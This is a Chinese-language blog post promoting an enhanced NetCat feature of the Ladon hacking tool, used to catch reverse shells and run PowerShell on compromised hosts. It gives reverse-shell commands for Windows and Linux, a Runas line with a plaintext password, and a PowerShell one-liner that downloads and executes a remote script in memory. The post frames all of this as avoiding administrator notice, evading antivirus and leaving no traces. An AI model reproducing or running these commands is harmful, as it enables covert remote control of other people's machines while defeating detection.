logo

K8哥哥

没有绝对安全的系统

〖工具〗NC执行PowerShell/内存加载Ladon扫描

本文于 1108 天之前发表

K8加强版NC、NetCat,可监听执行windows\Linux\Mac等系统,或多种方式反弹的Shell,对于Windows还可以自动加密执行PowerShell、以及内存加载执行Ladon扫描(无文件落地)

背景

由于最近使用的C2在执行CMD命令时,经常容易出现僵尸进程(无法结束必须结束宿主进程或重启机器),为了防止执行命令时出现僵尸进程导致被管理员发现,所以我采用反弹SHELL来执行命令的方法。

NC简介

NetCat,简称Nc,是一款非常实用的网络工具,小巧而功能强大,被誉为网络安全界的“瑞士军刀”。NetCat被设计成一个可靠的后门工具,拥有功能丰富的网络调试和开发工具,它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互,可以帮你轻易的建立几乎任何类型的连接。

netcat在UNIX/LINUX/MAC等系统默认安装,所以现在依然是黑客必学的命令,功能很多,但现在大多数人估计也就只会用它来反弹。上一代或喜欢命令行下渗透的,可能比较熟悉使用NC的其它功能,什么端口扫描、监听、抓包等,由于现在我最多也就使用它来反弹,所以就弄个加强版的NC客户端,可监听来自WINDOWS、Linux、Mac等任意系统反弹的SHELL,针对Windows还可执行PowerShell命令、当然也支持渗透必备的Ladon。

加强版NC

NC客户端一般都放在VPS上或本地,所以此功能放在GUI里,这样使用起来很方便,特别是切换执行CMD、PowerShell、Ladon命令

GUI 2020.12.25
[+] Netcat PowerShell命令加密执行
[+] Netcat 内存加载PowerLadon执行

GUI 2020.12.16
[u] Netcat 兼容Linux或MAC反弹SHELL
[+] Netcat 执行命令历史记录

NC监听

nc -lvp 4444

LadonGUI监听,直接点击Listen即可

nc反弹

windows

nc -e cmd 192.168.1.110 4444

linux/mac

nc -e /bin/bash 192.168.1.110 4444

Ladon

Ladon ReverseTcp 192.168.1.110 4444 nc

Runas

Ladon Runas k8gege k8gege520 cmd.exe 192.168.1.110 4444

其它

其它方法反弹,Ladon也支持

执行CMD命令

不勾选PowerShell或PowerLadon,默认即是正常的CMD命令

执行PowerShell命令(加密)

优点:有一定的反查效果(虽说Base64形同虚设,但也比完全不加密好一点)
勾选PowerShell,在CMD框中输入PowerShell命令或代码,执行的时候自动加密
当然你也可以使用NC旁边的PowerShell,里面有很多随机混淆PowerShell的方法

一键搭建WEB服务器

将Ladon.ps1和Ladon.exe放到VPS或内网中,使用Ladon web 800搭建Web服务器

远程内存加载Ladon扫描

优点:1.无文件落地 2.免杀 3.无操作痕迹
执行NC反弹后,填写对应Ladon.ps1的下载地址并勾选PowerLadon,然后就可以像使用EXE或CS版那样使用Ladon了

Cmd远程加载Ladon

1
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.5:800/Ladon.ps1'); Ladon OnlinePC"

适用于还没跟上时代的远控或Shell只支持CMD交互,最大的优点是免杀、无文件落地,其它RAT也可以使用这种本文NC加载Ladon执行命令的方法,强化自己的C2/RAT/WebShell工具,不要说我只给CS写插件,而是很多shell工具我都考虑到了,你实现不了CS的程序集加载功能,也可以使用这个简单又很实用的方法。

Ladon下载

PowerLadon: https://github.com/k8gege/PowerLadon
历史版本: http://github.com/k8gege/Ladon/releases
7.0版本:http://k8gege.org/Download
7.7版本:K8小密圈

扫码加入K8小密圈